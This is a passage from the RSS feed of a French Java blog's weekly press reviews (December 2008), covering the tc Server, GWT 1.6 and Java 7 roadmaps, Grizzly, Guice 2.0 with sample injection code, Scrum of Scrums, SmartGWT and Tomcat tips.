/> Les éditeurs incitaient jusqu&#8217;à présent leurs clients intéressés par un support Tomcat à faire un <em>upsale</em> sur serveur plus sophistiqué (JBoss App. Server, Websphere App. Server Community Edition, Spring dm Server, etc).</p><p>Quel intérêt de payer 500$/an/cpu pour tc Server plutôt que d&#8217;utiliser Tomcat ? Outre le support qui sera important pour de nombreux exploitants, les fonctionnalités d&#8217;exploitations et de supervision présentent un intérêt à prendre en compte.</p><p>Nous noterons pour conclure que l&#8217;ensemble des fonctionnalités annoncées ne sera pas disponible dès la version 1.0 de tc Server.</p><p>[1] tc Server permet notamment des opérations install/update/start/stop/uninstall/rollback <em>phasées</em> sur des clusters pour mettre à jour les noeuds les uns après les autres sans arrêt du service.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="LesorientationsdeGWTRoadmapGWT"></a>Les orientations de GWT : Roadmap GWT 1.6</h4><p>La version actuelle de <a
href="http://code.google.com/intl/fr/webtoolkit/" title="GWT" >GWT</a> est la 1.5.3. L&#8217;équipe GWT a présenté sur son blog officiel les orientations de GWT 1.6 et des prochaines versions : <a
href="http://googlewebtoolkit.blogspot.com/2008/12/whats-ahead-for-google-web-toolkit_10.html" title="What's ahead for Google Web Toolkit" >What&#8217;s ahead for Google Web Toolkit</a>.</p><p>Ainsi, on observe que l&#8217;équipe GWT s&#8217;attaque à différents points :</p><ul><li><strong>Performance</strong></li><ul><li>De compilation pour améliorer la productivité du cycle de développement</li><li>D&#8217;exécution : optimisation de l&#8217;utilisation de la classe <code>StringBuilder</code> par exemple, des composants (cf <em>LazyPanel</em> plus bas)</li></ul><li>S&#8217;approcher des <strong>bonnes pratiques éprouvées dans la communauté Java</strong> : voici la spécification : <a
href="http://code.google.com/p/google-web-toolkit/wiki/WAR_Design_1_6" title="Design Doc for 1.6 WAR structure" >Design Doc for 1.6 WAR structure</a>. Ainsi, il sera possible de livrer les fichiers statiques (images, css) dans un répertoire hors de la WebApps. Actuellement tout est chargé via le <em>classpath</em>. Ces ressources statiques pourront être &laquo;&nbsp;<a
href="http://www.akamai.fr/" title="akamai" >akamai</a>-llisées&nbsp;&raquo; et aussi relivrées indépendamment de la WebApp.</li><li><strong>Richesse des composants</strong> : intégration de nouveaux composants qui étaient dans l&#8217;<a
href="http://code.google.com/intl/fr/docreader/#p=google-web-toolkit-incubator&#038;s=google-web-toolkit-incubator&#038;t=google-web-toolkit-incubator" title="incubateur de composants GWT" >incubateur de composants GWT</a></li><ul><li>Un calendrier : <a
href="http://code.google.com/intl/fr/docreader/#p=google-web-toolkit-incubator&#038;s=google-web-toolkit-incubator&#038;t=DatePicker" title="DatePicker" >DatePicker</a></li><li>Un <em>Panel</em> qui permet l&#8217;affichage du contenu d&#8217;un <em>Panel</em> lorsqu&#8217;on le souhaite afin d&#8217;améliorer les performances d&#8217;affichage : <a
href="http://code.google.com/intl/fr/docreader/#p=google-web-toolkit-incubator&#038;s=google-web-toolkit-incubator&#038;t=LazyPanel" title="LazyPanel" >LazyPanel</a></li></ul><li>Migration de Tomcat à Jetty pour le <em>Hosted Mode Server</em>.</li></ul><p>Cette version 1.6 est prévue pour le premier trimestre 2009.</p><p>Ils parlent aussi de la Roadmap GWT :</p><ul><li>Marwan KHELIF avec <a
href="http://www.mkhelif.fr/2008/12/11/gwt-16-quoi-de-neuf.html" title="GWT 1.6 : quoi de neuf" >GWT 1.6 : quoi de neuf ?</a></li><li>Thomas Recloux avec <a
href="http://blog.tartachuc.org/2008/12/11/roadmap-gwt-16/" title="Roadmap GWT 1.6" >Roadmap GWT 1.6</a></li><li>A voir aussi sur le site officiel de GWT <a
href="http://code.google.com/intl/fr/webtoolkit/makinggwtbetter.html" title="Making Gwt Better" >Making Gwt Better</a></li></ul><h4><a
name="Javacenestpaspourtoutdesuite"></a>Java 7, ce n&#8217;est pas pour tout de suite&#8230;</h4><p>Initialement prévu pour début 2009, nous n&#8217;avons toujours pas (peu) eu de détails officiels concernant celui-ci. Vous vous en doutiez, Java 7 ne sortira pas demain. Suite à une des conférences de Devoxx, nous en savons désormais un peu plus sur ce sujet : sa sortie décalée à <strong>début 2010</strong>.</p><p>Est-ce si lointain ? Pas vraiment,  à la vue de tous les différents qui tournent autour du Jdk 7 (modularité, closures &#8230;), il ne sera probablement pas trop d&#8217;une année pour résoudre tous ces sujets de discordes. Pour y arriver, des choix rapides et judicieux devront être pris, cette même conférence en a d&#8217;ailleurs laissé sous-entendre quelques-uns, en voici <a
href="http://hamletdarcy.blogspot.com/2008/12/java-7-update-from-mark-reinhold-at.html" title="les grandes lignes" >les grandes lignes</a>.</p><ul><li><strong>Modularité</strong> : point central de Java7, après la <a
href="http://blog.xebia.fr/2008/10/13/revue-de-presse-xebia-78/#JSROSGimatuerStanleyHo" title="mort programmée de la JSR-277" >mort programmée de la JSR-277</a>, la réconciliation avec OSGi devra sans doute passer par la <a
href="http://jcp.org/en/jsr/detail?id=294" title="JSR-294" >JSR-294</a> (sous-jacente) &#8211; <a
href="http://blog.xebia.fr/2008/02/27/jsr-294-les-superpackages/" title="les superpackages" >les superpackages</a>. Si quelques changements récents offrent des perspectives de réconciliation, l&#8217;aventure ne fait que commencer pour le sujet le plus <a
href="http://www.touilleur-express.fr/2008/12/13/devoxx-que-contiendra-java-7/" title="sensible du Jdk 7" >sensible du Jdk 7</a>. Le nouveau <a
href="http://blogs.sun.com/mr/entry/jigsaw" title="projet Jigsaw" >projet Jigsaw</a> qui doit permettre de partager à la communauté l&#8217;avancement des travaux <a
href="http://neilbartlett.name/blog/2008/12/08/hope-fear-and-project-jigsaw/" title="est déjà fortement controversé" >est déjà fortement controversé</a>.</li><li><strong>Les closures</strong> : la grande blague ; le jdk7 ne proposera finalement pas cette fonctionnalité. Aucun consensus n&#8217;ayant été trouvé à ce sujet par la communauté : celles-ci sont pour le moment <em>déscopées</em>.</li><li><strong>Les nouvelles API</strong> :  aucun scoop à ce sujet. Nous en connaissions déjà les principales : nio2 (<a
href="http://jcp.org/en/jsr/detail?id=203" title="JSR-203" >JSR-203</a>) et JodaTime (<a
href=" http://jcp.org/en/jsr/detail?id=310" title="JSR-310" >JSR-310</a>).</li><li><strong>Évolutions du langage</strong> : C&#8217;est Joseph D. Darcy qui sera chargé de définir et regrouper les <a
href="http://blogs.sun.com/darcy/entry/guidance_measure_language_change_size" title="petites" >petites</a> évolutions du langage pour le Jdk 7. Pour <a
href=" http://blogs.sun.com/darcy/entry/small_language_changes_jdk_7" title="cette future nouvelle JSR" >cette future nouvelle JSR</a> (sa 3e après <a
href="http://jcp.org/en/jsr/detail?id=13" title="JSR-13" >JSR-13</a> et <a
href="http://jcp.org/en/jsr/detail?id=269" title="JSR-269" >JSR-269</a>), il a prévu d&#8217;impliquer d&#8217;avantage la communauté pour ce point facilement sujet à controverse. Son idée est de proposer et demander les retours de la communauté en amont du processus pour éviter toute controverse.  Avant même que la JSR ne soit proposée en draft, les grandes lignes de celles-ci devraient en être définies, disponibles et discutées sur un <a
href="http://mail.openjdk.java.net/pipermail/announce/2008-December/000065.html" title="projet spécifique de l'open JDK" >projet spécifique de l&#8217;open JDK</a>. Cette JSR est prévue pour sortir au cours du premier semestre 2009.</li></ul><p>À ce propos, vous vous demandez peut-être comment va-t-il s&#8217;y prendre pour intégrer ces changements ? C&#8217;est peut-être également l&#8217;occasion de revenir sur un de ces anciens articles présentant les différentes étapes à suivre pour <a
href="http://blogs.sun.com/darcy/entry/so_you_want_to_change" title="ajouter des fonctionnalités dans le jdk " >ajouter des fonctionnalités dans le jdk </a>.</p><h4><a
name="SortiedeGrizzly"></a>Sortie de Grizzly 1.9</h4><p><a
href="http://weblogs.java.net/blog/jfarcand/archive/2008/12/grizzly_190_is.html" title="Grizzly 1.9 est sorti" >Grizzly 1.9 est sorti</a>, à noter que la version 2.0 est prévue pour la fin de l&#8217;année. <a
href="https://grizzly.dev.java.net/" title="Grizzly" >Grizzly</a> est un framework Sun pour aider les développeurs à <strong>construire des serveurs robustes et scalables</strong> en utilisant l&#8217;API Java NIO (et NIO 2). Il met aussi à disposition le support de différents protocoles :</p><ul><li><strong><a
href="http://en.wikipedia.org/wiki/Comet_(programming)" title="<strong>Comet</strong>&nbsp;&raquo; ><strong>Comet</strong></a></strong>, qui permet à un serveur de pousser des informations au client.</li><li>Bayeux Protocol, qui permet une communication continue et bilatérale entre un serveur et un client</li><li>Servlet (support partiel)</li></ul><p>Il est aussi possible de développer un client serveur sur HTTP plus classique (sans push de donnée serveur). Cependant, ce n&#8217;est plus la vocation première du framework Grizzly.</p><p>À titre d&#8217;exemple, le serveur d&#8217;applications <a
href="https://glassfish.dev.java.net/" title="Glassfish" >Glassfish</a> utilise Grizzly comme HTTP Listener.</p><p>Les nouveautés de cette version sont :</p><ul><li>Support des I/O asynchrones (NIO2, <a
href="http://blog.xebia.fr/2008/07/21/revue-de-presse-xebia-66/#JSRMoreNewIOAPIsfortheJavaPlat" title="Xebia en avait parlé" >Xebia en avait parlé</a>), cela permet d&#8217;améliorer grandement les performances</li><li>Support des <em>HTTP write</em> asynchrones</li><li><code>GrizzlyAdapterChain</code> supporte maintenant plusieurs adapteurs et peut transformer les requêtes d&#8217;entrées à la volée</li><li>Le framework Comet a amélioré ses performances. À voir aussi un exemple d&#8217;implémentation utilisant GrizzlyComet : <a
href="http://weblogs.java.net/blog/jfarcand/archive/2008/11/writing_a_twitt.html" title="Writing a Twitter like application using Grizzly Comet part 1: The Servlet" >Writing a Twitter like application using Grizzly Comet part 1: The Servlet</a>.</li></ul><h4><a
name="PrsentationdeGoogleGuice"></a>Présentation de Google Guice 2.0</h4><p>La sortie Guice 2.0 est attendue pour décembre 2008 donc très prochainement.</p><p>À l&#8217;image de Spring, Guice est un framework d&#8217;injection de dépendances. Cependant, Guice se démarque de Spring dans la mesure où Guice fonctionne sans aucun XML. La configuration et le tissage des dépendances se font de manière programmatique. Il utilise les annotations du langage Java 5.</p><p>Guice se veut être un framework léger et facile à intégrer. Il existe d&#8217;ailleurs un plugin Struts pour gérer l&#8217;injection de dépendances en Guice.</p><p>L&#8217;article <a
href="http://www.ibm.com/developerworks/java/library/j-guice.html" title="Dependency injection with Guice" >Dependency injection with Guice</a> de Nicholas Lesoecki, employé à Google, présente le fonctionnement de Guice.</p><p>Voici le fonctionnement du Guice d&#8217;un point de vue programmatique :</p><pre class="brush: java; title: ; notranslate">
@Inject
public FrogMan(Vehicle vehicle) {
  this.vehicle = vehicle;
}
</pre><p>Le tissage s&#8217;effectue aussi de manière programmatique, ce qui le différencie radicalement de Spring :</p><pre class="brush: java; title: ; notranslate">
public class HeroModule implements Module {
  public void configure(Binder binder) {
    binder.bind(Vehicle.class).to(FrogMobile.class);
  }
}
</pre><p>Le tissage est donc réalisé dans un <code>Module</code>.</p><p>Ensuite le contexte Guice se démarre comme suit :</p><pre class="brush: java; title: ; notranslate">
public class Adventure {
  public static void main(String[] args){
    Injector injector = Guice.createInjector(new HeroModule());
    FrogMan hero = injector.getInstance(FrogMan.class);
    hero.fightCrime();
  }
}
</pre><p>Il est possible d&#8217;injecter une dépendance par :</p><ul><li>Constructeur, c&#8217;est la méthode la plus simple, par forcément la plus élégante en Spring</li><li>Méthode</li><li>Attribut de classe</li></ul><p>Cependant, un problème peut se poser par rapport à l&#8217;exemple précédent : comment injecter plusieurs véhicules ? Solution : il faut nommer les cibles en créant ses propres annotations pour l&#8217;injection :</p><pre class="brush: java; title: ; notranslate">
@Inject
public WeaselGirl(@Fast Vehicle vehicle) {
  this.vehicle = vehicle;
}
</pre><p>Code source du tissage :</p><pre class="brush: java; title: ; notranslate">
public class HeroModule implements Module {
 public void configure(Binder binder) {
    binder.bind(Vehicle.class).to(FrogMobile.class);
    binder.bind(Vehicle.class).annotatedWith(Fast.class).to(WeaselCopter.class);
  }
}
</pre><p>Code source de la déclaration de l&#8217;annotation :</p><pre class="brush: java; title: ; notranslate">
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Fast {}
</pre><p>Les nouveautés de cette version sont présentées sur le site officiel : <a
href="http://code.google.com/p/google-guice/wiki/Changes20" title="Changes in Guice 2" >Changes in Guice 2</a>. On y trouve entre autre :</p><ul><li>Implémentation de l&#8217;AOP</li><li>Surcharge du binding d&#8217;un module à un autre</li><li>Binding des éléments d&#8217;un tableau <code>Set</code> ({{Multibinding}}) ou <code>Map</code> ({{Mapbinding}})</li><li>Convertisseur de type branchable, par exemple, pour convertir une chaîne de caractères en date</li></ul><p>Même si Guice est loin d&#8217;avoir la maturité de Spring ou même autant de fonctionnalités que ce dernier, il propose une approche de l&#8217;injection de dépendances très pragmatique.</p><p>Une étude sur la comparaison des versions Guice 1.0 et Spring 2.0.2 (<a
href="http://www.jroller.com/habuma/entry/guice_vs_spring_javaconfig_a" title="Guice vs. Spring JavaConfig: A comparison of DI styles" >Guice vs. Spring JavaConfig: A comparison of DI styles</a>) arrive aux conclusions suivantes :</p><ul><li>Performance : Guice est plus rapide, mais est-ce vraiment important car généralement les dépendances sont chargées au démarrage de l&#8217;application ?</li><li>Modèle de programmation Guice plus intrusif : il est dommage de devoir mettre un <code>@inject</code> dans les objets Guice qui peuvent être injectés</li><li>Spring AOP est plus puissante</li><li>Guice est plus facile à intégrer (il y a seulement 2 <em>Jars</em> à intégrer)</li></ul><p>À voir également : deux liens intéressants sur l&#8217;injection de dépendance issus de la documentation de <a
href="http://www.picocontainer.org/" title="PicoContainer" >PicoContainer</a>, autre implémentation pour l&#8217;injection de dépendance :</p><ul><li><a
href="http://picocontainer.org/patterns.html" title="Design patterns" >Design patterns</a>, règles a avoir en tête lorsque l&#8217;on fait de l&#8217;injection de dépendance</li><li><a
href="http://picocontainer.org/inversion-of-control-history.html" title="Inversion of Control history" >Inversion of Control history</a>, tout sur l&#8217;injection de dépendance</li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/</link> <comments>http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#comments</comments> <pubDate>Mon, 01 Dec 2008 17:54:18 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Flex]]></category> <category><![CDATA[GridGain]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[junit]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Nexus]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[SCRUM]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[XP]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=1096</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Agilité Scrum et XP depuis les tranchées Scrum de scrums RIA FlexMonkey 0.5 Sortie de SmartGWT Le coin de la technique Améliorez la testabilité de votre code Nexus pour chercher dans les repositories Maven Distribuez vos tests JUnit avec GridGain Tomcat : Trucs et [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#ScrumetXPdepuislestranches">Scrum et XP depuis les tranchées</a></li><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#Scrumdescrums">Scrum de scrums</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#FlexMonkey">FlexMonkey 0.5</a></li><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#SortiedeSmartGWT">Sortie de SmartGWT</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#Amliorezlatestabilitdevotrecod">Améliorez la testabilité de votre code</a></li><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#Nexuspourchercherdanslesreposi">Nexus pour chercher dans les repositories Maven</a></li><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#DistribuezvostestsJUnitavecGri">Distribuez vos tests JUnit avec GridGain</a></li><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#TomcatTrucsetastucesdesprosdeS">Tomcat : Trucs et astuces des pros de SpringSource</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#SachaLaboureyauParisJUGmardipo">Sacha Labourey au Paris JUG mardi pour une soirée JBoss </a></li></ul><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="ScrumetXPdepuislestranches"></a>Scrum et XP depuis les tranchées</h4><p>Le livre référence de Henrik Kniberg, <a
href="http://www.infoq.com/minibooks/scrum-xp-from-the-trenches" title="disponible sur InfoQ" >disponible sur InfoQ</a>, vient d&#8217;être traduit en français (disponible <a
href="http://www.infoq.com/resource/news/2007/06/scrum-xp-book/en/resources/ScrumAndXpFromTheTrenches_French.pdf" title="en pdf ici" >en pdf ici</a>).<br
/> <a
href="http://blog.xebia.fr/author/gmathias/" title="Guillaume Mathias" >Guillaume Mathias</a> (Xebia) a participé à cette aventure aux côtés de <a
href="http://bruno-orsier.developpez.com/" title="Bruno Orsier" >Bruno Orsier</a>, <a
href="http://homoagilis.blogspot.com" title="Emmanuel Etasse" >Emmanuel Etasse</a> et Christophe Bunn.<br
/> Merci aux auteurs pour ce formidable don à la communauté Agile francophone.</p><h4><a
name="Scrumdescrums"></a>Scrum de scrums</h4><p>Une des questions récurrentes concernant l&#8217;adoption des démarches agiles sur une large échelle est celle de la synchronisation de nombreuses personnes. À ce sujet, <a
href="http://www.infoq.com/news/2008/11/scrum-of-scrums" title="InfoQ revient sur l'un des outils proposés par la méthode, le Scrum de Scrums" >InfoQ revient sur l&#8217;un des outils proposés par la méthode, le Scrum de Scrums</a>. Allan Shalloway expose les problématiques d&#8217;un &#8216;grand&#8217; projet Scrum, où plusieurs équipes interviennent sur la réalisation de modules inter connectés :</p><ul><li>Problématique technique : adopter une démarche agile, c&#8217;est éviter de réaliser des fonctionnalités non nécessaires. Ainsi, si une sous équipe &#8216;A&#8217; créé un service, dont l&#8217;équipe &#8216;B&#8217; aura peut-être besoin dans une itération ultérieure, rien ne l&#8217;oblige à exposer ce service. Quand &#8216;B&#8217; aura besoin du même type de service, plusieurs questions surgiront : &#8216;B&#8217; est-il au courant de l&#8217;existence de ce service. Si oui, qui doit le modifier pour qu&#8217;ils répondent aux besoins de &#8216;A&#8217; et de &#8216;B&#8217; ?</li><li>Synchronisation d&#8217;équipe : les Scrums Masters et les Product Owners ne sont pas les mêmes pour les équipes &#8216;A&#8217; et &#8216;B&#8217;. Les problématiques de synchronisation sont évidentes si on se place du point de vue du product owner (Cette fonctionnalité existe t&#8217;elle déjà ? Est elle est prévue ? &#8230;)</li><li>Intégration du produit final : il n&#8217;est pas simple de délivrer un produit final fonctionnant de bout en bout juste en accolant les composants développés par les différentes équipes.</li></ul><p>C&#8217;est pour cela qu&#8217;a été pensé le Scrum of Scrums.<br
/> Allan Shalloway, dans le cadre de la rédaction de son livre &laquo;&nbsp;<a
href="http://www.netobjectives.com/resources/books/lean-software-development" title="Lean Software Development: Scaling Agile to the Enterprise" >Lean Software Development: Scaling Agile to the Enterprise</a>&nbsp;&raquo; a collecté les retours d&#8217;utilisateurs sur ce &#8216;super&#8217; daily scrum.<br
/> Pour Mike Dwyer, le SoS sert à gérer la décomposition des users &#8211; stories afin de veiller à ce qu&#8217;une fonctionnalité ne soit pas réalisée en double.<br
/> Pour Ilja Preuß, le SoS permet d&#8217;identifier les points d&#8217;entraide possibles, les impacts des différentes équipes sur le système, mais surtout, cette réunion permet de renforcer le sentiment d&#8217;appartenance à un seul et même projet.<br
/> Christophe Louvion a utilisé le SoS pour gérer l&#8217;intégration des sous composants au jour le jour. Il a aussi utilisé le SoS pour maintenir une méta-équipe, composée de membres seniors de chacune des sous équipes, et chargée de gérer les problématiques transverses du projet (rédaction des normes, intégration end to end, revues d&#8217;architecture&#8230;)</p><p>Enfin, Walter Bodwell partage sa recette secrète pour un SoS pleinement opérationnel : il faut qu&#8217;il soit court (15 minutes), concis, centré autour de l&#8217;information qu&#8217;on veut communiquer aux autres. Toutes les problématiques particulières doivent être abordées dans des réunions en tête à tête. Le SoS doit permettre d&#8217;identifier les points bloquants, et de les rappeler à tous (tous les jours s&#8217;il le faut) jusqu&#8217;à leur résolution.<br
/> Enfin, comme la problématique des SoS est attenante à celle des équipes de développement distribuées, il peut être utile, afin de conserver au SoS une pertinence maximale, de préparer quelques notes pour la réunion.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="FlexMonkey"></a>FlexMonkey 0.5</h4><p>Lors de l&#8217;une de <a
href="http://blog.xebia.fr/2008/10/20/revue-de-presse-xebia-79/#Testezunitairementetfonctionne" title="nos revues de presse" >nos revues de presse</a>, nous vous présentions <a
href="http://code.google.com/p/flexmonkey/" title="FlexMonkey" >FlexMonkey</a> (framework de tests automatisés OpenSource pour Flex).<br
/> Ce projet vient de voir arriver la version 0.5 et permet :</p><ul><li>Une configuration afin de pouvoir lancer <a
href="http://code.google.com/p/flexmonkey/" title="FlexMonkey" >FlexMonkey</a> par des systèmes de build (et plus particulièrement Ant).</li><li>Un refactoring de l&#8217;API afin de séparer l&#8217;UI et le core.</li><li>Une séparation entre la gestion des tests automatisés (FlexMonkey.swc) et le runner FlexUnit (FlexMonkeyUI.swc).</li></ul><p>Pour un produit aussi jeune, ce dernier permet d&#8217;effectuer des tests convenables sous une application Flex. L&#8217;automatisation des tests sous Flex lève une barrière à son adoption, alors qu&#8217;attendez-vous ?</p><h4><a
name="SortiedeSmartGWT"></a>Sortie de SmartGWT</h4><p><a
href="http://www.jroller.com/sjivan/" title="Sanjiv Jivan" >Sanjiv Jivan</a>, ex-auteur de <a
href="http://code.google.com/p/gwt-ext/" title="GWT-Ext" >GWT-Ext</a> a annoncé hier la sortie de <a
href="http://code.google.com/p/smartgwt/" title="SmartGWT" >SmartGWT</a>, un nouveau Wrapper <a
href="http://code.google.com/webtoolkit/" title="GWT" >GWT</a> au dessus d&#8217;un Framework Javascript très complet : <a
href="http://www.smartclient.com/" title="SmartClient" >SmartClient</a>.</p><p>Les plus de <a
href="http://code.google.com/p/smartgwt/" title="SmartGWT" >SmartGWT</a> par rapport à <a
href="http://code.google.com/p/gwt-ext/" title="GWT-Ext" >GWT-Ext</a> :</p><ul><li>La richesse des composants fournis par l&#8217;api.</li><li>L&#8217;amélioration des performances (peu de temps de latence, utilisation de l&#8217;asynchrone systématique &#8230;).</li><li>Un code Java plus léger et plus consistant.</li><li>Une intégration avec des services REST et à base de WSDL.</li></ul><p>Les moins :</p><ul><li>Un style visuel par défaut moins attrayant que celui de son rival.</li><li>Le niveau d&#8217;abstraction est le même que sur <a
href="http://code.google.com/p/gwt-ext/" title="GWT-Ext" >GWT-Ext</a>. Dès qu&#8217;on souhaite customiser un composant ou créer un comportement différent, il faut la plupart du temps mettre le nez dans le code Javascript.</li></ul><p>Le code source du projet est fourni sous licence LGPL.<br
/> Une <a
href="http://www.smartclient.com/smartgwt/showcase/" title="démo de SmartGWT" >démo de SmartGWT</a> en action est disponible.<br
/> Notons aussi, pour cette occasion, un petit jeu de <a
href="http://www.infoq.com/news/2008/11/smartgwt" title="questions / réponses chez InfoQ" >questions / réponses chez InfoQ</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="Amliorezlatestabilitdevotrecod"></a>Améliorez la testabilité de votre code</h4><p>Misko Hevery, coach Agile à Google, <a
href="http://misko.hevery.com/code-reviewers-guide/" title="partage sur son blog" >partage sur son blog</a> quelques-unes des recommandations et alertes que Google suggère à ses développeurs afin de garder le code le plus propre et le plus testable possible. Rien de bien étonnant, la majorité des points abordés sont connus et relèvent du bon sens. Cependant, une piqûre de rappel ne fait jamais de mal.</p><p>Misko a donc regroupé ceux-ci en &#8216;fléaux&#8217;. Ces 4 thèmes permettent de vérifier ou d&#8217;améliorer simplement la testabilité d&#8217;une application (la liste ne se veut pas exhaustive) :</p><ul><li>Assurez-vous que vos constructeurs n&#8217;effectuent aucun véritable traitement. Alertes : utilisation du mot clé <code>new</code>, appel à des méthodes statiques, présence de conditions ou de boucles, utilisation de blocs d&#8217;initialisation, initialisation trop complexe.</li><li>Contentez-vous d&#8217;utiliser les objets attributs de vos classes. Alertes : invocations chaînées trop profondes du type <code>getObject1().getObject2().getObject3()</code>. Objets avec des noms suspects comme &#8216;context&#8217;, &#8216;environnement&#8217;, ou &#8216;manager&#8217;.</li><li>Utilisez les objets <em>stateful</em> à bon escient. Alertes : utilisation d&#8217;un singleton, utilisation d&#8217;un champ ou d&#8217;une méthode statique, présence de bloc statique d&#8217;initialisation. Misko est d&#8217;ailleurs l&#8217;auteur d&#8217;un projet sur Google Code permettant de <a
href="http://code.google.com/p/google-singleton-detector/" title="détecter différents types de singletons" >détecter différents types de singletons</a>.</li><li>Découpez votre code, évitez les classes trop volumineuses. Alertes : les objets qui ont plusieurs fonctions distinctes, les classes difficiles à comprendre rapidement, les classes possédant des attributs qui ne sont utilisés dans aucune méthode.</li></ul><p>Misko est également l&#8217;auteur d&#8217;un autre projet permettant <a
href="http://code.google.com/p/testability-explorer/" title="l'analyse de la testabilité de votre projet" >l&#8217;analyse de la testabilité de votre projet</a> à partir de son bytecode. Il a d&#8217;ailleurs passé celui-ci sur quelques-uns des frameworks Open Source de votre quotidien et regroupé les résultats sur son site dédié : <a
href="http://testabilityexplorer.org/report" title="Testability Explorer" >Testability Explorer</a>.</p><h4><a
name="Nexuspourchercherdanslesreposi"></a>Nexus pour chercher dans les repositories Maven</h4><p>On avait l&#8217;habitude d&#8217;utiliser <a
href="http://www.mvnrepository.com" title="http://www.mvnrepository.com" >http://www.mvnrepository.com</a> (ou google, ou le plugin m2eclipse) lorsque l&#8217;on partait à la recherche de son jar favori, Sonatype (dont le fondateur et CTO est Jason Van Zyl, le père de Maven) a <a
href="http://blogs.sonatype.com/people/book/2008/11/19/use-repositorysonatypeorg-to-search-central-maven-repository/" title="mis à disposition" >mis à disposition</a> une instance publique de <a
href="http://nexus.sonatype.org/" title="Nexus" >Nexus</a>, son manager de repository Maven : <a
href="http://repository.sonatype.org" title="http://repository.sonatype.org" >http://repository.sonatype.org</a>.</p><p>L&#8217;interface est propre, facile à utiliser, et est développée à l&#8217;aide du <a
href="http://extjs.com/" title="framework Ext JS" >framework Ext JS</a>.</p><h4><a
name="DistribuezvostestsJUnitavecGri"></a>Distribuez vos tests JUnit avec GridGain</h4><p>Tester une application déployée sur plusieurs machines : quelle galère ! N&#8217;avez-vous jamais eu besoin d&#8217;effectuer des tests en environnement distribué ? Comment effectuez-vous vos tests d&#8217;intégration impliquant des communications clients-serveur ? <a
href="http://www.theserverlabs.com/blog/2008/11/24/distributed-junit-testing-with-gridgain/" title="Cet article nous propose une solution originale" >Cet article nous propose une solution originale</a> pour effectuer ce type de tests multi-jvm utilisant certaines fonctionnalités de <a
href="http://www.gridgain.com/" title="GridGain" >GridGain</a>, framework Open Source permettant la création d&#8217;applications distribuées de type grid computing. L&#8217;auteur de l&#8217;article n&#8217;utilise pour faire ses tests qu&#8217;une des fonctionnalités offertes par ce framework : la distribution des tests sur plusieurs nœuds.</p><p>Pour ce faire, vous aurez besoin, en plus de vos tests, de 3 &#8216;TestSuite&#8217; configurées avec des <em>annotations</em> et <em>runners</em> GridGain :</p><ul><li>Une première &#8216;Remote TestSuite&#8217; chargée de lancer les tests sur le serveur. Les tests de cette suite seront exécutés sur la grille.</li><li>Une seconde &#8216;Local TestSuite&#8217; pour lancer les tests sur le client local.</li><li>Une troisième et dernière &#8216;Distributed TestSuite&#8217; servant de point d&#8217;entrée unique au lancement de deux premières séries de tests.</li></ul><p>Cela vous déplaît certainement d&#8217;utiliser un tel framework uniquement pour une de ses plus petites fonctionnalités, et vous avez probablement raison. Maintenant quelles autres options aussi puissantes et rapides à mettre en place proposeriez-vous en remplacement ?</p><h4><a
name="TomcatTrucsetastucesdesprosdeS"></a>Tomcat : Trucs et astuces des pros de SpringSource</h4><p>SpringSource continue sa série de webinars sur Tomcat avec <a
href="http://www.springsource.com/webinars" title="Apache Tomcat Tips and Tricks from the Pros" >Apache Tomcat Tips and Tricks from the Pros</a> (cf. <a
href="http://blog.xebia.fr/2008/08/25/revue-de-presse-xebia-71/#TuningetoptimisationdeTomcatmo" title="Tuning et optimisation de Tomcat : mod_jk est mort ! Longue vie à mod_proxy_http !" >Tuning et optimisation de Tomcat : mod_jk est mort ! Longue vie à mod_proxy_http !</a> et <a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia-75/#AmliorerlesperformancesdeTomca" title="Améliorer les performances de Tomcat en production" >Améliorer les performances de Tomcat en production</a>). Nous avons cette fois retenu :</p><ul><li><code>setEnv(.sh|.bat)</code> est le fichier à utiliser pour configurer le lancement de Tomcat (afin de préciser le JDK, les options de la JVM, etc). <code>startup.sh</code> et <code>catalina.sh</code> peuvent le plus souvent rester inchangés.</li></ul><pre class="brush: java; title: ; notranslate">
